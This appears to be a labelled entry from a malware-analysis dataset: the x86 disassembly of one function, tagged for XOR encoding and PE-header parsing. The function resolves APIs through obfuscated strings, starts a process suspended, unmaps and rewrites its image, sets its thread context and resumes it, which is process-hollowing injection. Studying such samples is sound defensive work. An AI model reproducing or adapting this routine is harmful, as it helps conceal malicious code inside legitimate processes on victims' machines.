Function at 0x42272c
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x21c
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x191]
mov dword [esp], eax
call fcn.004d583c
lea eax, [ebp - 0x191]
mov ecx, eax
call fcn.00431350
mov ebx, eax
lea eax, [ebp - 0x185]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0x185]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, word [eax]
cmp ax, 0x5a4d
jne 0x422e85
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x10]
add eax, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
cmp eax, 0x4550
jne 0x422e85
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x1d8]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x178]
mov dword [esp], eax
call fcn.004d52ec
lea eax, [ebp - 0x178]
mov ecx, eax
call fcn.00431210
mov ebx, eax
lea eax, [ebp - 0x169]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0x169]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp + 8]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x1d8]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov edx, dword [ebp + 0xc]
mov dword [esp], edx
call eax
sub esp, 0x28
test eax, eax
setne al
mov byte [ebp - 0x2d], al
mov dword [esp], 1
call fcn.0042607c
movzx eax, byte [ebp - 0x2d]
xor eax, 1
test al, al
jne 0x422851
cmp byte [ebp - 0x2d], 0
je 0x422e85
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call fcn.004d57e8
lea eax, [ebp - 0x15c]
mov ecx, eax
call fcn.004313d0
mov ebx, eax
lea eax, [ebp - 0x14f]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0x14f]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x34], eax
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x142]
mov dword [esp], eax
call fcn.004d5804
lea eax, [ebp - 0x142]
mov ecx, eax
call fcn.004313a0
mov ebx, eax
lea eax, [ebp - 0x133]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0x133]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x38], eax
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x126]
mov dword [esp], eax
call fcn.004d575c
lea eax, [ebp - 0x126]
mov ecx, eax
call fcn.00431280
mov ebx, eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0x114]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x3c], eax
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x107]
mov dword [esp], eax
call fcn.004d5890
lea eax, [ebp - 0x107]
mov ecx, eax
call fcn.00431130
mov ebx, eax
lea eax, [ebp - 0xf4]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0xf4]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x40], eax
mov esi, dword [0x4e2354]
lea eax, [ebp - 0xe7]
mov dword [esp], eax
call fcn.004d5740
lea eax, [ebp - 0xe7]
mov ecx, eax
call fcn.00431470
mov ebx, eax
lea eax, [ebp - 0xda]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0xda]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x44], eax
mov esi, dword [0x4e2354]
lea eax, [ebp - 0xcd]
mov dword [esp], eax
call fcn.004d54ac
lea eax, [ebp - 0xcd]
mov ecx, eax
call fcn.00431370
mov ebx, eax
lea eax, [ebp - 0xbc]
mov dword [esp], eax
call fcn.004d4f4c
lea eax, [ebp - 0xbc]
mov ecx, eax
call fcn.00430e00
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 4
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp + 8]
mov edx, dword [edx + 4]
mov ecx, dword [ebp - 0x4c]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x422e85
mov ebx, dword [ebp - 0x3c]
call fcn.004d5224
mov word [ebp - 0xaf], ax
lea eax, [ebp - 0xaf]
mov ecx, eax
call fcn.00430ff0
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edi, eax
mov eax, dword [ebp - 0x4c]
mov esi, dword [eax + 0xa4]
call fcn.004d5288
mov word [ebp - 0xad], ax
lea eax, [ebp - 0xad]
mov ecx, eax
call fcn.00431050
mov dword [esp], eax
call sub.msvcrt.dll_atoi
add eax, esi
mov ecx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
lea edx, [ebp - 0x1dc]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call ebx
sub esp, 0x14
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x1dc]
cmp eax, edx
jne 0x422c21
mov esi, dword [0x4e2354]
lea eax, [ebp - 0xab]
mov dword [esp], eax
call fcn.004d5698
lea eax, [ebp - 0xab]
mov ecx, eax
call fcn.00431400
mov ebx, eax
lea eax, [ebp - 0x96]
mov dword [esp], eax
call fcn.004d4f84
lea eax, [ebp - 0x96]
mov ecx, eax
call fcn.00430e20
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x1dc]
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x54], 0x3000
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x28]
mov ecx, dword [edx + 0x50]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx + 0x34]
mov esi, edx
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov dword [esp + 0x10], 0x40
mov ebx, dword [ebp - 0x54]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], edx
call eax
sub esp, 0x14
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x422e85
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x28]
mov ecx, dword [edx + 0x54]
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp + 0x10]
mov dword [esp + 8], ecx
mov ecx, dword [ebp - 0x58]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 0x14
call fcn.004d513c
mov word [ebp - 0x8c], ax
lea eax, [ebp - 0x8c]
mov ecx, eax
call fcn.00430f70
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x1c], eax
jmp 0x422d67
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 0x10]
lea ebx, [edx + eax]
call fcn.004d51f8
mov dword [ebp - 0x8a], eax
lea eax, [ebp - 0x8a]
mov ecx, eax
call fcn.00430fd0
mov dword [esp], eax
call sub.msvcrt.dll_atoi
add ebx, eax
lea eax, [ebp - 0x86]
mov dword [esp], eax
call fcn.004d5234
lea eax, [ebp - 0x86]
mov ecx, eax
call fcn.00431000
mov dword [esp], eax
call sub.msvcrt.dll_atoi
imul eax, dword [ebp - 0x1c]
add eax, ebx
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x60]
mov ecx, dword [edx + 0x10]
mov edx, dword [ebp - 0x60]
mov ebx, dword [edx + 0x14]
mov edx, dword [ebp + 0x10]
add edx, ebx
mov esi, edx
mov edx, dword [ebp - 0x60]
mov ebx, dword [edx + 0xc]
mov edx, dword [ebp - 0x58]
add edx, ebx
mov ebx, edx
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], edx
call eax
sub esp, 0x14
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x28]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x1c], eax
jl 0x422cc3
mov ebx, dword [ebp - 0x40]
call fcn.004d5224
mov word [ebp - 0x83], ax
lea eax, [ebp - 0x83]
mov ecx, eax
call fcn.00430ff0
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x28]
lea esi, [eax + 0x34]
mov eax, dword [ebp - 0x4c]
mov edi, dword [eax + 0xa4]
call fcn.004d5288
mov word [ebp - 0x81], ax
lea eax, [ebp - 0x81]
mov ecx, eax
call fcn.00431050
mov dword [esp], eax
call sub.msvcrt.dll_atoi
add eax, edi
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0x10], 0
mov edi, dword [ebp - 0x1ec]
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x14
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x58]
add edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [eax + 0xb0], edx
mov esi, dword [0x4e2354]
lea eax, [ebp - 0x7f]
mov dword [esp], eax
call fcn.004d567c
lea eax, [ebp - 0x7f]
mov ecx, eax
call fcn.00431430
mov ebx, eax
lea eax, [ebp - 0x6c]
mov dword [esp], eax
call fcn.004d4f84
lea eax, [ebp - 0x6c]
mov ecx, eax
call fcn.00430e20
mov dword [esp], eax
call fcn.00425d38
mov dword [esp + 4], ebx
mov dword [esp], eax
call esi
sub esp, 8
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp + 8]
mov edx, dword [edx + 4]
mov ecx, dword [ebp - 0x4c]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp + 8]
mov edx, dword [edx + 4]
mov dword [esp], edx
call eax
sub esp, 4
mov ebx, dword [ebp - 0x20]
call fcn.004d513c
mov word [ebp - 0x62], ax
lea eax, [ebp - 0x62]
mov ecx, eax
call fcn.00430f70
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 8], 0x8000
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call ebx
sub esp, 0xc
nop
mov eax, dword [ebp + 8]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret